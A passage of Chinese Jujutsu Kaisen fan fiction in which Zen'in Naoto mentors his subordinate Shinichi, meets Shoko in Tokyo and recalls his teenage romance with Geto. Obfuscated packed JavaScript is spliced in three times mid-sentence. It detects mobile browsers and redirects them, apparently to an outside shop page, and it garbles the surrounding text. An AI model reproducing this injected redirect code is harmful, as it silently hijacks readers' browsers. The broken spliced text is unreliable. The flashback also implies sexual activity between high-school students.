然后点开宫治的对话框,手指悬在键盘上停了几秒。在店里的时候他已经问了这个问题,现在又发来line追问。 很含蓄,又很直白。 直人看着宫治的短信,又想起他雾灰色的眼睛,略微放松了点,回道:【很好吃,多谢。】 宫治很快回了:【那就好。明天还来吗?】 直人想了想:【明天有事要处理,下周吧。】 这次那边等得久了些,虽然一发出去就显示了已读,但迟迟没有回信。 就在直人以为他在忙,准备退出的时候,消息才弹出来:【好的,等你。】 对话到此为止。 直人停了一会儿,最后才点开直哉的,果不其然,就是一路的风景照,食物照片,然后就是各种挑剔的点评。 他点开表情包,随便选了几个发过去。 再往上翻,两兄弟的对话框一直都是各聊各的,直哉也不在乎直人究竟有没有认真看他发的消息,只要直人偶尔吭个气就行了,真有事他会直接打电话过来。 至于对话框,他根本就是当备忘录使。 直人退出line,把手机丢到一边。他靠在沙发里,闭上眼睛,头垂着,脖子发酸,却懒得动。 一直等到风介挂了电话,他睁开眼,起身去浴室用冷水冲了把脸。 镜子里的人眼下乌青,头发乱糟糟地翘着。 真是的,他先前就用这副鬼样子跑出去了。 亏宫治能夸出来好看。 直人不再看镜子,转身回到客厅。风介已经坐回沙发,在看笔记本。 “先等亲子鉴定报告。” “还要不要收集一下其他证据。” 直人知道风介的顾虑,他摇摇头,手臂搭在沙发靠垫上,声音很低,断断续续的:“我们又不是警察,父亲也不会想当法官。” “既然知道他拿了钱,那让他吐出来就好了,又不是要和他开庭……如果一定要证据么……” 他垂下眼,说:“没关系,我们说什么,什么就是证据。” “等我从东京回来,我们就去找一郎。” “直接去?” 直人点头:“他也该知道我们来了。” “今晚就派人去把春秋姐弟跟紧了,那个石田佑也是。但是先别动,等我从东京回来再下手。” 风介冷眼嘲讽:“老狐狸,在外面偷偷下小崽子。他真正的妻女可还在禅院过苦日子呢。” 直人没搭话。 “如果真是他亲儿子,你打算怎么办?” 其实在看到石田佑的年龄和样貌的时候,差不多就能确定了。 直人嘴角扯了一下,乌黑的眼睛看向风介:“他哪里有儿子,不是只有个女儿吗,在京都本家。” 风介盯着他看了半晌,然后翘起嘴角,点点头,继续看向屏幕,鼻子里哼出声音:“行,你说得对。” “那盘星教那边怎么办?” 直人沉默片刻,说:“先不管那边。” “先让一郎把他吞进去的那部分吐出来。” 毕竟直人和风介这次过来的直接目的,是为了拿钱交差。 至于禅院一郎,不管直毘人满不满意直人这次的成果,他都已经被本家决定换掉了。 33. 【二十七】 临出发前,直人还是召了信一来大阪。 客厅只开了一盏落地灯,直人给信一开了门,就转身走回茶几前坐下,继续手上的工作。 风介下午接了窗的联络出门了,说是北区有咒灵残秽需要确认,公寓里只剩直人一个。 信一瘦高的身影嵌在门框里,他在玄关脱了鞋,规规矩矩摆好,才迈进一步,停在客厅与玄关的交界处。 他身上还穿着出任务的黑色作战服,应该过来得很匆忙。但衣领很规整,腰带也扎得很紧。双臂贴在身体两边,脊背下弯。 “直人大人。” 年轻的声音很青涩,还有些忐忑。 直人没应,手上的文件又翻了一页,房间里很安静,只剩下钢笔书写的声音。 信一没有起身,一直维持着行礼的姿势。 过了大概五六分钟,直人才把钢笔搁在纸上,抬手揉了揉后颈。他转过脸,看向还僵在门口的信一,冲他招招手: “站在那里做什么,过来。” 信一身体稍微直了一点,他快步走到茶几前,却没坐,仍是站着,低着头。直人上下扫了他一眼,目光落在他手里那个小包裹上。 “东西带来了吗?” “是。”信一连忙双手递过去。 直人接过,解开绕线,里面是一块叠得方正的杏黄色衣料,直人将它展开,布料上用丝线绣着松、竹、梅的纹样。 暖黄的灯光落在细密的针脚上,那些彩色的丝线便泛出一点幽微的光泽。 他看了片刻,手指拂过凸起的绣纹。 “藤子夫人的手艺,”直人开口,声音很平,“还是这么好。” 信一低着头,没应声。 直人将布料重新叠好,放在茶几一角,压在那叠文件上。他的视线没离开那块布。 “我记得小时候她给我和直哉的衣服上也绣过。直哉身上的是狮子,我那件……”他顿了顿,似乎在回忆,“好像是金鱼。后来不知道丢哪去了。” “她是个手巧的人。”直人说,像是总结,又像是告别:“可惜了。” 信一依旧垂着眼。他的影子被拉长,投在光洁的地板上,随着呼吸轻微起伏。 直人将布料重新放回包裹,用绕绳细致地打包回原样。慢悠悠地做完这些,直人才抬眼看向信一:“东西我收下了。你费心了。” “应该的。”信一低声说。 “坐下吧。”直人示意他坐到自己身边来。 信一迟疑了一下,在沙发另一侧坐下,只挨着边缘。 “坐过来。” 信一身体微微一僵,随后顺从地挪动位置,在直人身侧坐下,沙发陷下去一块。 直人没看他,伸手拿起茶几上另一份文件,翻开。 信一低着头,余光看着身侧的直人。他们挨得很近,他的衣摆与直人的外衣揉在一起,能嗅到直人身上的檀香。 目光再往上,信一看到直人额前新剪短的头发,几缕挑染的白发在灯下也带上了点暖黄。他眉头微皱,薄薄的眼皮垂下来,盖住大半的眼睛。 直人的五官很淡,只有嘴唇带点颜色。 纸张翻动,直人的眼睫颤了下,信一的视线立刻收回来,死死盯着脚尖。 “炳最近怎么样?”直人问,仍看着手里的文件。 “按您之前交代的,三番队和四番队的队长都约谈过了。”信一的声音绷得很紧,不敢看他,“他们……态度还算配合。” “还算?” “四番队的丘山提了些条件,关于明年预算分配。”信一停顿片刻,补了一句,“我没答应,也没拒绝,说需要等直哉大人定夺。” 直人点点头:“有些事,得让直哉自己去谈。” 他合上文件,终于转过脸,完全面向信一。灯光从他侧后方打过来,脸上半明半暗,眼窝陷在阴影里,更显得疲惫。 “你今年多大了?”直人忽然问。 “明年年初就满二十。” 信一声音很弱,手搭着两边膝盖,忐忑地收紧手指。 “……那就是刚满十九,你生日在四月。” 信一的嘴唇动了动,想说什么,一扭头,正对上直人的眼睛。很温和,带着点笑。 直人看着他,手抬起来,很慢地落在信一头上,轻轻摸了两下,将信一稍长的鬓发别到耳后。头发有点硬,刺刺的,带着夜风的凉气。 “长高了。”直人说,手放下来,语气充满怀念:“刚见到你那年,你才到我腰这儿。” 信一肩背绷得很直,没敢动,只是楞楞地看着直人。 “时间过得很快。”直人又说,声音低了些,“我还记得你哥哥也是差不多19岁被家主提拔上来的。” “是十七岁。”信一记得很清楚,他垂下眼,声音干涩,“我……我不如兄长。” “没什么不如的。”直人轻拍他的肩膀,向后靠进沙发里舒展腰背,姿态放松地看向信一:“他是他,你是你。他走他的路,你也有你的。” 直人顿了顿,声音很缓和:“信一,你是我看着长大的,我知道,你有你自己的本事。在我心里,你从来不比谁差。” 信一呼吸一滞,他从沙发上弹起来,向着直人又是一个深鞠躬,声音哽塞:“直人大人,这次的事是我辜负了您的——” “这次的事,你做得很好。” 直人打断他,信一声音猛地卡壳,他抬眼怔怔地看向直人。 “父亲那边,本家那边,都没留下话柄。”直人撑起身,双腿交叠,胳膊搭在膝盖上伸直,继续说:“二番队队长的位置,我已经向直哉提了,等这个月过了,任命就该下了。” 信一深吸一口气,声音有点抖:“直人大人,我……” “日记的事我也没想到,是我的失误。你年纪尚小,经验不足,怪不到你头上。”直人淡淡地说。 信一神色焦急,刚想开口,直人又说:“但我对你有个要求。” 信一立刻点头:“您说。” “把你在京都的人脉理清楚。哪些能用,哪些要防,哪些可以拉拢,心里要有数。直哉脾气差,身边需要几个能劝得住、也能挡得住事的人。” 直人向前倾身,盯着他的眼睛,“你现在不只是信一,你是禅院信一,很快会是炳的二番队队长,但你不会永远是二番队队长。” “信一,我现在不能回去京都,可是我很放心,因为你在京都,我知道你会替我看着的。” 信一又是一鞠躬,重重点头:“是。” 直人想了下,又补充:“兰太年纪小,但天赋好,心性也正。你有空多带带他,别让直哉总骂他。” 信一这次沉默了片刻,才低声应下:“是。” 客厅又安静下来。直人重新拿起膝盖上的报表,却没有看,指尖在纸页边缘轻轻摩挲。过了半晌,信一忽然开口,声音很轻,带着试探: “直人大人,您这次去东京……我能跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887274|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着吗?” 直人抬眼。 信一立刻补充:“我可以帮忙处理杂事,或者……” “不行。”直人拒绝得很干脆。 信一眼神黯淡下来。 “你想做一辈子杂事吗?” 信一急急地开口:“要是能跟在直人大人身边——” “没出息。” 直人胳膊一抬,手上的报表扇在信一脸上,力道不重,但信一的脸还是顺着方向偏了过去。 文件带来的轻风掀起淡淡的木浆的气味,微凉的温度让信一冷静下来。 直人稳坐在原位,单手撑脸,冷冷地看着他。 “要是我只是想要一个打杂的,我可以回家里去随便拎一个。”直人把文件丢在桌上,伸手勾住信一的领口,把他往跟前一拽,他定定地看着信一的眼睛,一字一顿说:“信一,我需要能帮我,能帮直哉扫平障碍的人。” “你能做到吗?” “像你哥哥协助家主那样,帮助我。” 信一被拽得身体前倾,几乎要撞上直人的肩膀。他能看清直人瞳孔里自己的倒影,缩得很小。 直人还看着他。 全部的视线都看着他。 只看着他。 信一感觉自己全身上下都要打起哆嗦。 “……能。”信一听见自己的声音,干涩,但没抖。 直人又看了他几秒,松开手。 “东京的事,我自己去。”直人端起水杯抿了口水,语气不容置喙,“你留在京都,把二番队握稳,比什么都强。” 信一低头盯着直人的手,没吭声。 “直哉那边,”直人放下杯子,瓷器磕在玻璃茶几上,发出清脆的响声,“你按规矩汇报,该说什么就说什么,不用怕他。” 信一抬起头。 “他发脾气,你就听着。他骂人,你就应着。但该做的事,一件不能少,该说的话,一句不能省。”直人声音很淡,“你是队长,不是他的狗。这条分寸,你得学会拿捏。” “是。”信一低声应道。 直人向后靠进沙发,目光落在窗外远处闪烁的霓虹上。他的手撑着脖颈,过了一会儿,他突然问信一: “直哉很喜欢你,你知道为什么吗?” 信一看向直人,灯从侧面照过来,直人的侧脸线条在光影里显得有些模糊。 “……属下不知。” 直人转过脸,嘴角很浅地勾了一下:“因为你很听话,但又不是全无主见。因为你做事利落、聪明,但不会抢他的风头。”他停顿片刻,声音低下去,几乎像耳语,“当然,最重要的是——” 他看着信一的眼睛,一字一句,说得很慢: “因为我很喜欢你。” 信一耳膜嗡了一声,他张了张嘴,却没发出声音。 不等信一有所反应,直人已经重新看向窗外,语气恢复了一贯的平淡。 “我这次去东京的事,不要声张。对谁都别说,包括直哉那边——他要是问起,你就说你不知道,他自己会来找我。” 信一愣了一下,但很快应下:“是。” 直人摆摆手:“行了,回去吧。本家那边,多上心。” 信一站起身,朝直人深深鞠了一躬。他走到玄关,穿好鞋,手搭在门把上时,又回头看了一眼。 直人已经重新拿起了报表,侧脸在灯光下显得瘦削。他没抬头,只说了句: “路上小心。” 34. 【二十八】 信一的脚步声消失在门外。 直人在沙发上又坐了一会儿,才撑着膝盖慢慢站起身,脊椎骨节在动作间发出咔哒的声响。 来大阪之后他就没有锻炼过,之前在家里,直哉还偶尔督促他活动一下筋骨。 直人没有咒力,更不可能有术式,小时候在躯俱留的道场跟着老师学过一段时间体术。 后来直哉嫌躯俱留的人太弱,纯粹是浪费时间,就不让直人再去了。改成自己每天训练结束后回来和他对练。 也没坚持多久。到十二三岁的时候,直哉开始频繁外出执行任务,再没空管直人的训练。 那段时间,直人更常和惠子、真希真依待在一起。 直哉难得有空想拉他练手,直人反倒懒洋洋的,挨了一下就躺在地上不动了。 直哉气到不行,后面他又想通了,说,反正直人也就这样了,再弱也无所谓。 他够强就行了。 一直到直人被送进高专,夏油杰不像直哉,耍赖是行不通的,他会一直耗着,直到直人自己乖乖站起来。 “直人,你还能行的。” 那时候直人已经精疲力尽,汗水和尘土混在一起,视线都是模糊的。 他看见夏油杰蹲在他面前,细长的眼睛弯着,声音很温和,带着点无奈,却一步不肯退。 “别这样啊,直人,多少反抗一下嘛。要是你一个人遇到危险,要怎么办呢?” “那就等死了好了。” “可是,你死了我会伤心的。”夏油杰的眼睛看着他,里面装着担忧,“你哥哥也会伤心的。” 直人记得自己最后还是爬起来了,因为夏油杰真的会一直等。 他不催促,也不伸手,只是看着,笑着。那种注视比直哉的拳头更难捱。 现在没人会等他了。 想到夏油杰,直人从风介留下的烟盒里抽出一支烟含进嘴里,咔嚓一声点上。 直人走到窗边,落地窗上映出点点火光的影子。 他抽烟是和硝子学的。 硝子有时候嫌夏油和五条吵,会偷偷溜到直人的房间,赖在他床上看杂志。 直人盘腿坐在地板上,背靠着床沿,仰头看烟雾盘旋在头顶,他问硝子抽烟是什么味道。硝子嘻嘻一笑,她翻了个身趴在床边,把刚点上的烟塞进了直人的嘴里。 第一口很呛。 除此之外,没有什么特别的感觉。 后来就抽上了。 所以后来,直哉说东京咒术高专五毒俱全。 直人想着,牙齿轻咬着滤嘴,嘴角翘起来,觉得好笑。 他吐出一口烟,白色的雾气散进空气里。窗上的倒影慢慢模糊,看不清轮廓。 夏油杰。 这个名字又跟着烟雾飘进直人脑子里。 夏油杰。 直人垂眼,面上又恢复平静无波的样子。他掏出手机打开,屏幕还停留在通讯录,上面有一串没有备注的号码。 他的拇指悬在屏幕上方,停了一会儿。 这是夏油杰那天留下的号码。 直人还是存了,但没打过。 屏幕快暗下去的时候又被按亮,直人的指尖在那串数字上慢慢划过,没有点下去,只是重复这个动作防止屏幕熄灭。一下,又一下。 为什么? 屏幕的白光映亮直人的脸,清晰地投在玻璃窗上。 他还是那副样子,眉眼无精打采地耷拉着,但向上看着倒影的眼睛里结着冰。 他拉开衣领,露出右胸膛瘆人的伤疤。他没有让硝子将它完全去掉,狰狞的刀疤旋在心口,连带着背部,也有一处创面更大的出口伤。 沿着疤痕的走向,直人纹了一束无尽夏。 Endlesssummer。 你不是苦夏吗,夏油杰? 那你就这辈子都别走出夏天好了。 直人怨毒地诅咒到。 一支烟燃尽,直人其实没抽几口。 他用指腹将烟头摁灭,丢进垃圾桶,把手机揣回兜里,转身走回客厅。 要带的东西不多。他打算今晚出发,明天晚上就回大阪。 飞机还有三个小时起飞,直人将信一带来的包裹塞进行李,正巧风介打来电话,他已经回来了,就在停车场,可以送直人去机场。 “这是什么?” 直人刚坐上副驾,风介就塞给他一个御守和一张折好的签文。 “今天路过寺庙,去给你求的厄除守。顺便抽了张签,第一张就是大吉,送给你当护身符了。” 风介没看他,等系好安全带的声音响起,就踩下了油门。 “寺庙?”直人捏着御守看了看,随手放进外套内袋。签文他展开扫了一眼,无外乎是些吉利话。他又折好塞进钱包夹层。 “保险起见问一句,”直人声音平平,“我从东京回来见到的第一个人,不会真的是巫师吧?” 风介哼了一声:“那得看你的东京之旅顺不顺利了。” 直人没接话。 他向来没有提前保证什么的习惯。世事难料。 风介瞥他一眼:“脸色还是差。上飞机睡会儿。” “知道。” “东西都带齐了?” “嗯。” “落地给我消息。” “嗯。” 车里安静下来。风介开了广播,晚间路况播报的女声平缓无波。直人靠着车窗,看窗外流过的街灯。 “真不用我一起?”风介又问。 “机票钱不报销。” “当我没说。” 机场不远。 值机,过安检,登机。直人找到座位坐下,系好安全带。机舱里灯光调暗了,乘客不多。他闭上眼,没一会儿意识就模糊了。 飞行时间短,睡不沉。空乘送饮料时他醒了,要了杯水。 飞机落地时震了一下。直人跟着人群走出廊桥,开机,给风介发了已经落地的短信。 他回了个【嗯。】 出口接机的人不多。他一眼看到硝子。她穿着宽松的长t,中间扎了根细腰带,靠在一根柱子上低头按手机。头发比上次见时又长了些,松散地扎在脑后。 直人走过去。硝子抬起头,收起手机。 “哟。”她打量他两眼,“头发剪了。” “嗯。”直人站定。 站近了看,硝子的眼下乌青更重。 “走吧。”硝子转身往外走,“车在地下。” 两人并排走着。深夜的机场通道空旷,脚步声清晰。 “你要的酒我托人从京都给你送来了,明天到。” “这不就没有意义了?这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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比起硝子,直人的辛苦好像算不了什么。 二十七岁的硝子留起了长发,她不再抽烟,虽然仍然爱好酒精。她眼下的乌青一天比一天重,重得发紫,晚间有值不完的夜班,手术台上有剖不完的尸体。 她在人前变得冷淡,好像一切都和她无关,表现得对什么都满不在乎。 十年间直人和她也没见过几面,毕竟她出门的机会越来越少,大部分时候都留在高专。而直人也有自己的事要忙。 两人偶尔碰面,似乎都要在心里感慨一下对方的变化,却谁也没问过谁这些年过得怎么样。 都嫌这句话多余,因为好像都写在脸上了。 硝子没再说话,她靠回椅背偏过头,看向窗外。慢慢地,她的呼吸均匀平稳。 一个红灯,直人侧过脸,伸手轻轻撩开她脸上的长发,她闭着眼,已经睡着了。 直人定定地看了几秒,收回手,视线继续放在前方。 绿灯亮起,车辆重新启动,直人的脚再次踩下油门,但力道轻了不少。 35. 【二十九】回忆 高专宿舍的过道,夏油杰和直人一前一后走着。 突然,直人问夏油杰:“咒灵是什么味道?” 夏油杰先是一愣,然后转头看向这个总是沉默的后辈。 直人刚进校的时候比他稍矮一些,但现在身高已经和他平齐,眼睛从柔顺的刘海下安静地看着他。 直人很乖巧,也很沉闷。 与他的两个同期相比,他更喜欢和硝子在一起,偶尔也会跟着夏油杰。 前提是五条悟不在的时候。 自从入学第一天,他被五条悟下狠手打过,他就很讨厌五条悟。 如果夏油杰和五条悟在一起,哪怕夏油杰向他招手,他都会装作看不见。 夏油杰也试图缓和过他们两个人的关系。 但只要他试着提起五条悟的名字,直人就会装作什么也没听见,乌黑的眼睛看向地上、天花板或者窗外,反正就不会再看他。 夏油杰没办法,只能笑着妥协,问直人要不要一起去吃冷面。 他其实觉得这样也挺好的。 看到直人跟在自己身后的时候,听他用没什么起伏的声音说话,或者只是安静地待着。 只要一回头,就能和那双眼睛对上,他好像总是看着自己。 这种感觉还不错。 只是每次回去,夏油杰都免不了要被五条悟缠着大吵大闹地抗议。 五条悟很别扭,他对直人的刻意忽视十分不满,他认为自己被孤立了,可又拉不下脸和直人道歉。 他坚称是直人先做了十分过分的事,但夏油和硝子追问的时候,他却支支吾吾,避而不谈。 夏油杰把这归结于五条悟不肯服软的自尊心,因为他想象不出直人能做什么出格的事。 现在,听到直人突然问起咒灵的味道,夏油杰有些意外。他停下脚步,转过身面对直人。 “为什么突然问这个?” 直人站在他面前半步远的地方,他习惯落在别人身后几步,总是不愿和夏油杰并排行走。 “好奇。”直人说,他面上有些困惑,“咒灵会有味道吗?” 夏油杰看着他认真的表情,忍不住笑了。 “一点味道也没有。”他想了想,语气轻松地说,“硬要说的话,口感有点奇怪,不太好吞下去。” 他说完,双手插兜身体往前侧了侧,心里希望直人能放过这个话题。 直人只是看着他,没说话。那双黑沉沉的眼睛里没什么情绪,只是专注地看着他的脸,好像在观察什么。 夏油杰被他看得有点不自在,正想再说点什么转移话题,走廊尽头传来脚步声。 是夜蛾老师。 “夏油,这里有个二级任务,七海和灰原还有悟都出去了。”夜蛾把手里的文件递过来,“你去一趟吧。” 夏油杰接过文件扫了一眼,地点在郊区一所废弃小学,咒灵等级判定为二级。 “我一个人?” “带上直人吧。”夜蛾说,“他也该积累点实战经验了。” 夏油杰转头看向直人。 直人点点头:“好。” 区区一个二级咒灵,夏油杰解决掉它只是顺手的事。 他将那只咒灵圈禁起来,让直人和它练了练手,等到直人有些吃力的时候,他才从房梁上跳下来,轻松将它解决。 咒灵被降服后,化作一颗深紫色的咒灵玉,落在夏油杰摊开的掌心。 圆润的珠子在昏暗的光线下泛着不祥的光泽。 夏油杰看着那颗咒灵玉,喉咙不受控制地滚动了一下。胃部已经开始提前痉挛,舌尖仿佛已经尝到了那股令人作呕的味道。 他习惯性地想把珠子收起来,等直人不注意的时候再吞。 但直人没有移开视线。 他戴着那副能让他看见咒灵的眼镜,他不常戴,因为他嫌不太舒服,而且很丑。 他一直站在旁边,眼睛直勾勾地看着夏油杰手里的咒灵玉,然后抬起眼,看向夏油杰的脸。 “你要吃吗?”直人问。 夏油杰动作顿住了。 “……嗯。”他尽量让自己的声音听起来正常,“要收服咒灵,就得这样。” “现在?” 夏油杰想说,等回去再说。 “可是我想看。” 直人坦然地说。 夏油杰对上他的眼睛,那双眼睛直白地看着他。 夏油杰抿了抿嘴唇。 他很少在别人面前吞咒灵玉。 被人看着……总有一种说不出的羞耻感。 但直人就这么看着他。 夏油杰深吸一口气,把心一横。 他把咒灵玉举到嘴边,闭上眼睛,一口吞了下去。 瞬间,那股熟悉的令人绝望的味道在口腔里炸开——像擦过下水道呕吐物的抹布,混合着铁锈和排泄物,又湿又滑,拼命往食道深处钻。 夏油杰的喉结剧烈滚动,胃部一阵翻江倒海。他死死咬住牙关,才没让那东西吐出来。 几秒钟后,他勉强压下反胃的感觉,睁开眼,努力挤出一个轻松的笑容,转头看向直人。 “就是这样。”他的声音有点哑,但尽力维持着平稳,“你看,的确一点味道也没——” 他的话没说完。 因为直人突然凑了过来。 直人伸手掰过他的脸,夏油杰猝不及防,顺着他的力道转过去,然后,直人吻了上来。 嘴唇贴合的触感很柔软,带着点温热。 夏油杰整个人僵住了,大脑一片空白。 他还没反应过来发生了什么,直人的舌头已经撬开了他的齿关,探了进来。 那是一种很直接的,带着探索目的的侵入。直人的舌头在他的口腔里扫过,细致地舔舐每个角落,很认真,像是在确认什么。 夏油杰能尝到自己嘴里残留的咒灵玉,那股令人作呕的味道。但直人似乎完全不在意,只是专注地做着他想做的事。 时间好像静止了。 也可能只过去了几秒钟。 直人松开了他,后退一步。 夏油杰还保持着那个僵硬的姿势,眼睛瞪大,震惊地看着直人。 他的嘴唇上还残留着被亲吻的触感,嘴里那股恶心的味道和直人留下的气息混合在一起,形成一种怪异的感觉。 他张了张嘴,想说点什么,但一个字也发不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887276|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对此,直人当着他的面,舔了舔亮晶晶的唇角,最后抿着唇像是在回味。 他沉默了很久,久到夏油杰感到不安,他才说: “的确没有味道。” 夏油杰悬起来的心脏才落下来。 还好。 说出来像疯了,但当时的夏油杰真的是这样想的。 一周后,他们交往了。 是夏油杰告的白。 夏油杰对此还是有些不平的,明明是直人先亲了他,结果事后直人装作无事发生,徒留夏油杰一个人为此纠结得抓狂。 他甚至去问了五条悟,他们御三家的人是不是会舌吻好兄弟。 五条悟捂着嘴看夏油杰的表情,惊恐得好像他是个登徒子。 可夏油杰还是不放心。 他担心直人是因为没有受到这方面的教育,也许他什么都不懂。 毕竟直人总是乖顺的,沉默的。 夏油杰认为自己有引导后辈的义务,虽然二人是同龄。 当夏油杰时隔一周,重新鼓起勇气出现在直人面前,对上对方略带委屈的眼睛,他打了满篇的腹稿和说教全部作废。 他怀着愧疚,昧着良心向直人提出了交往。 然后直人答应了。 在开始交往之后,直人变得粘人。哪怕五条悟在场,他也一步不落地跟在夏油杰的身后。 他恍若无人地牵着夏油杰的手,在他和五条悟交谈的时候,不满地摆弄他的手指。 但他不会再做出更过分的事了,只是安静地等着,不说话,不催促,在实在不耐烦的时候,勾勾他的手指。 五条悟很愤怒,认为直人是咒灵的变种,所以才会缠着杰不放,他还拿着咒具要把他祓除。 交往的第三天晚上,直人敲开了夏油杰的宿舍房门,并抱着枕头被褥登堂入室,还一脚踢开了悟的游戏机和毛毯。 当晚,他们就在床上拥吻。 直人很缠人,很快就不满足单纯的接吻。 开始还好,可到后面,直人表现得很凶,凶到让夏油杰难以应对。 有时候夏油杰想推开他,但看到他圆润乌黑,带着点迷惘的眼睛,夏油杰又心软了。 等结束了,直人趴在他胸口,找他的心跳。那么长一个人蜷成一团,横在夏油杰身上。 夏油杰揉着他的头发,笑着说人的心脏在左边。 直人仰头看了他一眼,有些困惑,他的手捂在自己的右胸口感受了一阵,然后说:“我和直哉的心脏都在右边。” 夏油杰愣了一下,又说:“是有少部分人的心脏在右边。” 直人低下头,终于听到他的心跳,毛绒绒的头发蹭着夏油杰的喉结和下巴。 他伸出手环住夏油杰的脖颈,两人紧密地相拥,两颗心隔着皮肉同频跳动。 他沉甸甸的重量压在夏油杰身上,夏油杰看着将全部都依赖着他的直人,他的心脏因为这份重量跳得笨重。 太满了。 夏油杰心想。 太满了。 他怜爱地抚摸着直人的脸颊,另一条手臂也紧紧环住直人光裸温热的脊背,他满足地长舒一口气。 他想,他会一直爱着他。 36. 【三十】 直人和硝子走进高专,一路直达她的工作间。 路上没见到其他的人,校园里黑漆漆的,只有零星几架路灯亮着。 “学生们都出任务去了。”硝子双手插兜,鞋跟踩在地板上,发出哒、哒、哒的声响。 直人手上拎着行李,跟在硝子身后:“真希在这边过得怎么样?” “这种事情你问我做什么?” 硝子拉开解剖室的门,一股阴森的冷气渗出来,里面的陈设如旧,只有几张冷冰冰的床,靠墙竖着存放尸体的冷冻柜。 直人走进去,把东西放在地上,顺势坐在了正对着解剖台的长椅上。 硝子走到隔间,里面传来翻动的声音,过了一会儿,她拿着一把匕首走了出来。匕首不长,刀刃是灰白色,柄是简单的木质手柄,上面缠了红线绳。 “喏。”硝子把匕首递过来:“用你哥烧剩下的骨渣掺了点别的做的,强度还行。” 直人没接,他看了那把匕首一眼,又抬眼看向硝子:“我不需要咒具。” 硝子可没和他说,捐献的遗体做成的咒具还要送给家属。 “为什么?”硝子手腕一转,匕首在她指间灵活地转了个圈,“好歹是你亲哥的骨头。带在身边,算是个念想,说不定还能挡挡灾。晚上睡觉放枕头底下,兴许还能少做点噩梦——” 硝子说着,突然俯身,眼睛和直人平视:“就当是他死去的灵魂还在陪伴你好了。” …… 直人和她对视着,半晌,他别开脸,语气平平地开口:“你是在故意膈应我吗?” 硝子笑出声,整齐的牙齿露出来,眼睛弯成愉快的两条缝。又像是十六七岁的时候,那种得逞的坏笑。 “哈哈。” 她把匕首搁在直人身旁的扶手上,起身时对直人眨了眨眼,“做坏事的人,就应该心有不安才对。” 说完,她不再看直人,转身走到墙边,拉开一个冷冻柜,抽出一具盖着白布的尸体,拖到解剖台上。她戴上手套,动作利落地开始工作。 直人低头看了眼那把匕首,匕首做得很精致,刀刃上刻有一小串符文。他看了几秒,移开视线,没去碰它。 解剖室里只剩下皮肉划开的声音,和解剖工具和铁盘的碰撞声。直人双眼放空地看着硝子解剖尸体,他后脑勺靠在后面的墙壁上,慢慢地开始犯困。 硝子头也不抬地说:“没给你收拾房间,隔壁有床,你要累就去那边躺会儿。” 直人嗯了一声,起身拎起行李,推开解剖室侧面的一扇小门。 其实根本算不上床,只是在一间堆放骨灰盒的杂物室里摆了张折叠沙发,上面搭了条毛毯。沙发不长,直人脱掉外套躺上去,小腿以下都悬在外面。 他扯过毯子盖到胸口,闭上了眼。 他睡得很浅,他自己也不清楚到底睡着没有。 不断有人进门,站在他的身边,说一些不着边际的话。等他探身去问为什么他们会在这里,他们却很快消失,然后下一个访客又紧随其后的出现。 不知过了多久,外面解剖室再度传来门被推开的声音,还有几句模糊的说话声。 就在直人疑心这是否是又一个梦境的碎片的时候,他睁开了眼睛。 他睁开眼,坐起身,毯子滑到腿上。 直人低着头,盯着毛毯上的花纹发怔,外面的交谈声越来越清晰,他揉了把眼睛,甩了甩头,掀开毛毯下床,披上外套拉开门走出去。 解剖室里多了四个人。真希,乙骨忧太,熊猫,还有胳膊上缠着渗血绷带的狗卷棘。 他们看到直人,都愣了一下。 “直、直人哥!”最先反应过来的是真希,她瞪大眼睛,一副难以置信的样子。 直人扶着门框,目光扫过他们四个,狗卷棘坐在手术台床沿,硝子在给他治疗手臂。直人的视线最后停在真希身上,她手上拿着那把匕首。 过了会儿,他才慢半拍地应了一声,刚睡醒的声音还有点哑:“真希。” 真希的三个同期都楞楞地看着直人,时不时瞟一眼真希。因为上次交流会的表现,他们看出真希好像和她的堂兄有不小的矛盾。 “直人哥,你怎么在这里?” 真希追问。 直人没回答,他转身折回杂物间,拎出几个装着蓬莱肉包的纸袋,走过去递给真希:“从大阪带的包子,据说味道还行,给你和你同学们的。” 真希接过,低头看了眼纸袋,又抬头看看直人,然后伸手接过去。她转身把包子分给乙骨、熊猫和狗卷。 “谢啦!”熊猫接过,立刻掏出一个咬了一大口,含糊地说,“正好饿死了!” 乙骨忧太接过纸袋,有些拘谨地朝直人微微鞠躬:“谢谢您,禅院先生。” 直人看向他,嘴角轻微上移,声音也很温和:“不用客气。叫我直人就好。” 狗卷棘拉下半边衣领,露出嘴边的咒纹,小声说了句:“腌鱼子。”然后也接过了包子。 真希拿起最后一个纸袋,转向还在解剖台前忙活的硝子:“硝子老师,你要——” “我不要。”硝子已经治好了狗卷的手臂,她重新拿起手术刀,利落地划开人体组织,“甜兮兮的,腻得慌。” “她不喜欢那个口味。”直人同时开口。 真希看看硝子,又看看直人,把伸出去的手收了回来。 其他三个学生嘴上只是安静地咀嚼食物,但视线却在直人和硝子之间偷偷摸摸地不停打转。 